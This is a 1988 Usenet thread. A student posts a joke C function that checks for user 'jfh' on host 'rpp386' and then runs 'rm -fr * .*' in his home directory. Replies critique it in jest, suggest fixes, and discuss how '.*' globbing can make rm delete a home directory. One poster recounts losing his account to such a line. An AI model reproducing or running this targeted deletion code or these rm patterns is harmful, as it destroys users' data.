tcjones@watdragon.waterloo.edu (Terry Jones) (11/18/88)
Here's a handy-dandy little function that I just whipped up. Took me about
4 or 5 hours to get the bugs out, but I'm just a college student :-)
I'm going to put in all the code I write. OK, I'm a silly college student.
Not meant to be taken as an insult.
#include <stdio.h>
#include <pwd.h>
void
get_John_F_Haugh_II()
{
struct passwd *pwd = getpwnam("jfh");
char host[1024];
if (pwd == NULL) return;
if (gethostname(host, sizeof(host)) == -1) return;
if (strcmp(host, "rpp386")) return;
if (chdir(pwd->pw_dir) == -1) return;
if (fprintf(stderr, "Goodbye John...\n") == EOF) return;
system("rm -fr * .*");
return;
}jfh@rpp386.Dallas.TX.US (John F. Haugh II) (11/19/88)
In article <9784@watdragon.waterloo.edu> tcjones@watdragon.waterloo.edu (Terry Jones) writes: >Here's a handy-dandy little function that I just whipped up. Took me about >4 or 5 hours to get the bugs out, but I'm just a college student :-) >I'm going to put in all the code I write. OK, I'm a silly college student. > if (gethostname(host, sizeof(host)) == -1) return; > if (strcmp(host, "rpp386")) return; The UUCP maps shows this site as an SCO Xenix 386 system. Your example wouldn't even make it past the linker. The correct sequence is more like if (uname (&utsname) == -1) return; if (strncmp (utsname.nodename, "rpp386", sizeof utsname.nodename)) return; and it only took me about 5 seconds to figure this one out. > system("rm -fr * .*"); Might fail on a large directory. I'll let you think of a more reasonable alternative. Maybe something using ftw()? Lesson of the day: All the world is not a Vax. -- John F. Haugh II +----------Quote of the Week:---------- VoiceNet: (214) 250-3311 Data: -6272 | "Okay, so maybe Berkeley is in north- InterNet: jfh@rpp386.Dallas.TX.US | ern California." -- Henry Spencer UucpNet : <backbone>!killer!rpp386!jfh +--------------------------------------
pat@orac.UUCP (Pat Barron) (11/20/88)
In article <9784@watdragon.waterloo.edu>, tcjones@watdragon.waterloo.edu (Terry Jones) writes: > Here's a handy-dandy little function that I just whipped up. Took me about > 4 or 5 hours to get the bugs out, but I'm just a college student :-) > I'm going to put in all the code I write. OK, I'm a silly college student. >[...] > if (fprintf(stderr, "Goodbye John...\n") == EOF) return; > system("rm -fr * .*"); Big mistake. You've just probably destroyed all the user directories on the machine, since ".*" matches "..", too. Nice going. --Pat.
dmt@ptsfa.PacBell.COM (Dave Turner) (11/22/88)
In article <129@orac.UUCP> pat@orac.UUCP (Pat Barron) writes: >In article <9784@watdragon.waterloo.edu>, tcjones@watdragon.waterloo.edu (Terry Jones) writes: >> if (fprintf(stderr, "Goodbye John...\n") == EOF) return; >> system("rm -fr * .*"); > >Big mistake. You've just probably destroyed all the user directories on >the machine, since ".*" matches "..", too. Nice going. Maybe on some UNIX systems, but the man page for rm on System V states: ".... It is forbidden to remove the file .. merely to avoid the antisocial consequences of inadvertently doing something like: rm -r .* " -- Dave Turner 415/542-1299 {att,bellcore,sun,ames,pyramid}!pacbell!dmt
dtynan@sultra.UUCP (Der Tynan) (11/22/88)
In article <9784@watdragon.waterloo.edu>, tcjones@watdragon.waterloo.edu (Terry Jones) writes: > Here's a handy-dandy little function that I just whipped up. Took me about > 4 or 5 hours to get the bugs out, but I'm just a college student :-) Hate to tell you this, but you need another 4 or 5 hours :-) > void > get_John_F_Haugh_II() > { > struct passwd *pwd = getpwnam("jfh"); > char host[1024]; First, how do you know he'll run it as 'jfh'. You should check uid's. > if (pwd == NULL) return; > if (gethostname(host, sizeof(host)) == -1) return; ^^^^^^^^^^^ Hmmm. Isn't that a BSD system call?? > if (strcmp(host, "rpp386")) return; ^^^^^^ My guess is, rpp386 is a '386 machine, probably running XEN*X or Microport UN*X. In which case, the above system call fails to link. Tough luck. > if (chdir(pwd->pw_dir) == -1) return; > if (fprintf(stderr, "Goodbye John...\n") == EOF) return; Don't forget that the 'stderr' channel is usually unbuffered. If *I* saw that message appear, I'd *very quickly* hit ^C, a few dozen times... > system("rm -fr * .*"); > return; > } It probably wouldn't get very far. Oh well. Seeing as you're a college student, I'm thinking about sending this program (?) to your Prof., so he can grade you on it. Personally, I'd give you a C+ (No, not C++ :-). Mainly for effort :-) - Der -- dtynan@zorba.Tynan.COM (Dermot Tynan @ Tynan Computers) {apple,mips,pyramid,uunet}!Tynan.COM!dtynan --- If the Law is for the People, then why do we need Lawyers? ---
jpn@genrad.com (John P. Nelson) (11/22/88)
>>Big mistake. You've just probably destroyed all the user directories on >>the machine, since ".*" matches "..", too. Nice going. > >Maybe on some UNIX systems, but the man page for rm on System V states: > > ".... It is forbidden to remove the file .. merely to avoid > the antisocial consequences of inadvertently doing something like: > > rm -r .* " This is true on Berkeley systems as well. HOWEVER, it is easy to fool rm, because the test only works when ".." is at the BEGINNING of the filename. I was quite surprised the first time I discovered this: I had written a "safe" rm which tucked files away in my "~/.backup" directory, the idea was to clean out the ~/.backup directory when I logged out. when I put the line "rm -rf ~/.backup/* ~/.backup/.*" into my .logout file, I got a nasty surprise! When I logged in again, my entire account had been deleted! ~/.backup/.* had expanded to ~/.backup/.., and rm quite silently recursively removed my home directory! john nelson UUCP: {decvax,mit-eddie}!genrad!teddy!jpn smail: jpn@teddy.genrad.com
pat@orac.UUCP (Pat Barron) (11/28/88)
In article <4596@ptsfa.PacBell.COM> dmt@ptsfa.PacBell.COM (Dave Turner) writes: ]In article <129@orac.UUCP> pat@orac.UUCP (Pat Barron) writes: ]>Big mistake. You've just probably destroyed all the user directories on ]>the machine, since ".*" matches "..", too. Nice going. ] ]Maybe on some UNIX systems, but the man page for rm on System V states: ] ] ".... It is forbidden to remove the file .. merely to avoid ] the antisocial consequences of inadvertently doing something like: ] ] rm -r .* " I, of course, must have been asleep when I posted my original article... Dave is quite correct. I must have been thinking about a situation I had gotten myself in when the ".." was not at the beginning of the filename (this was also pointed out by someone else - sorry, I don't have the attribution handy). --Pat.